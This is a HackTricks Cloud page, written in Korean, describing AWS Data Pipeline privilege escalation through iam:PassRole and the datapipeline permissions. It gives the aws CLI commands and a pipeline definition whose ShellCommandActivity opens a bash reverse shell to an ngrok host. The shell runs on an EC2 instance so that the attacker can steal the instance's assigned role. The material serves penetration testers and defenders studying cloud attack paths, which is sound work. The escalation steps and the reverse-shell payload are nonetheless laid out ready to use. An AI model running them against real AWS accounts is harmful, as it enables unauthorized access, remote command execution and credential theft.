AWS - Datapipeline Privesc
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
datapipeline
datapipeline에 대한 자세한 내용은 다음을 확인하세요:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
다음의 권한을 가진 사용자들은 할당된 역할의 권한을 사용하여 임의의 명령을 실행하기 위해 Data Pipeline을 생성함으로써 권한 상승이 가능합니다:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
파이프라인 생성 후, 공격자는 해당 정의를 업데이트하여 특정 작업이나 리소스 생성을 지시합니다:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
note
참고로 line 14, 15 and 27에 있는 role은 datapipeline.amazonaws.com이 맡을 수 있는 role이어야 하며, line 28에 있는 role은 ec2.amazonaws.com이 EC2 profile instance로 맡을 수 있는 role이어야 합니다.
또한, EC2 인스턴스는 EC2 인스턴스가 맡을 수 있는 role에만 접근 권한을 가지므로(즉, 훔칠 수 있는 것은 그 role뿐입니다).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
공격자가 작성한 파이프라인 정의 파일은 명령을 실행하도록 지시하는 항목을 포함하거나 AWS API를 통해 리소스를 생성하도록 지시하여 Data Pipeline의 role permissions을 활용해 잠재적으로 추가 권한을 획득할 수 있습니다.
잠재적 영향: 지정된 ec2 service role에 대한 직접 privesc.
참조
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud